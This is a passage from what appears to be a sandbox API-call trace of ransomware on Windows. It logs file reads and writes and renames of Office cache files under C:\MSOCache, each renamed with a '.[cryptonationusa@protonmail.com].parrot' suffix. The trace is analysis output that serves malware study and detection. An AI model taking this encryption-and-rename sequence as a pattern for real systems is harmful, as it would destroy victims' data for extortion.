(in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0116.488] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.488] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x391, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x391, lpOverlapped=0x0) returned 1 [0116.488] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.489] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0116.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685b10 | out: hHeap=0x5b0000) returned 1 [0116.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0116.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0116.498] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0116.498] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0116.763] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.764] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x5ac, lpOverlapped=0x0) returned 1 [0116.764] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.764] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0116.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685b10 | out: hHeap=0x5b0000) returned 1 [0116.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0116.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0116.775] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0116.775] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0116.816] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.816] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x91975, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x91975, lpOverlapped=0x0) returned 1 [0116.846] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.887] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0116.888] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685ef0 | out: hHeap=0x5b0000) returned 1 [0116.888] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0116.888] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0116.893] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0116.893] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0116.913] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.913] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x741, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x741, lpOverlapped=0x0) returned 1 [0116.914] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.914] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0116.915] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x687258 | out: hHeap=0x5b0000) returned 1 [0116.915] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0116.915] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0116.917] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0116.917] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0116.925] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.926] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0117.015] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.016] WriteFile (in: hFile=0x27c, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0117.047] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.048] WriteFile (in: hFile=0x27c, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0117.051] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd7939a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0117.051] CloseHandle (hObject=0x27c) returned 1 [0117.051] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0117.052] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685ef0 | out: hHeap=0x5b0000) returned 1 [0117.052] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0117.052] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0117.059] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0117.059] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0117.098] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.118] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0117.234] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.234] WriteFile (in: hFile=0x27c, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0117.234] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.250] WriteFile (in: hFile=0x27c, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0117.253] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x387f18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0117.253] CloseHandle (hObject=0x27c) returned 1 [0117.254] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0117.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685ef0 | out: hHeap=0x5b0000) returned 1 [0117.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0117.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0117.266] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0117.266] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0117.269] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.269] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15b5, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x15b5, lpOverlapped=0x0) returned 1 [0117.276] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.277] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0117.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685ef0 | out: hHeap=0x5b0000) returned 1 [0117.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0117.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689240 | out: hHeap=0x5b0000) returned 1 [0117.284] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0117.284] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0117.295] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.295] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd4200, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xd4200, lpOverlapped=0x0) returned 1 [0117.450] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.509] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0117.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685ef0 | out: hHeap=0x5b0000) returned 1 [0117.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0117.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0117.516] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0117.516] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0117.521] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.521] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x333, lpOverlapped=0x0) returned 1 [0117.522] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.522] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0117.523] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685ef0 | out: hHeap=0x5b0000) returned 1 [0117.523] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0117.523] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0117.525] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0117.525] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0117.526] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.527] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6a3b, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x6a3b, lpOverlapped=0x0) returned 1 [0117.530] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.532] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0117.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685ef0 | out: hHeap=0x5b0000) returned 1 [0117.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0117.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647210 | out: hHeap=0x5b0000) returned 1 [0117.536] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0117.536] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0117.549] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.550] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10676, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x10676, lpOverlapped=0x0) returned 1 [0117.554] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.557] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0117.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685ef0 | out: hHeap=0x5b0000) returned 1 [0117.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0117.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178458 | out: hHeap=0x5b0000) returned 1 [0117.561] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0117.561] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0117.564] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.564] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2488, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x2488, lpOverlapped=0x0) returned 1 [0117.568] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.568] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0117.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685ef0 | out: hHeap=0x5b0000) returned 1 [0117.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0117.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690250 | out: hHeap=0x5b0000) returned 1 [0117.573] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0117.573] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0117.575] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.575] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xe00, lpOverlapped=0x0) returned 1 [0117.575] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.575] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0117.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685ef0 | out: hHeap=0x5b0000) returned 1 [0117.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0117.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0117.584] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | 